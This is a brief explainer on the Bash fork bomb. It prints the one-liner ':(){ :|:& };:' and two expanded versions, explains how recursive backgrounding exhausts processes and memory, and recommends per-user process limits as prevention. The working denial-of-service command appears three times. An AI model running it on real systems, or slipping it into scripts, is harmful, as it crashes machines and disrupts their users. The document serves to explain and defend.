shell forkbomb

CAUTION:  Do NOT run this command without understanding the havoc it can create.

This is perhaps my favorite Bash one-liner of all time:

    :(){ :|:& };:


Let's first go ahead and put it into a multi-line format for ease of understanding:

    #/bin/bash
    :() {
       : | : &
    }
    :


Now let's go ahead and make it a little more readable by changing the function name:

    #/bin/bash
    forkbomb() {
       forkbomb | forkbomb &
    }
    forkbomb


Description: Create a function and inside of that function recursively call the same function and background the process.  After defining the function call it once.

Result: Chaos and madness as a result of exponentially filling the process table and consuming memory.  This will lead to a state where no new processes can be created and the Out of Memory (OOM) killer begins deliberately killing processes.

Prevention: Set a reasonable limit on the number of processes per user (and while you're at it consider doing the same for the other limits.)  This can be done either through the ulimit command or by the more common method of configuring the pam_limits module within PAM by modifying /etc/security/limits.conf.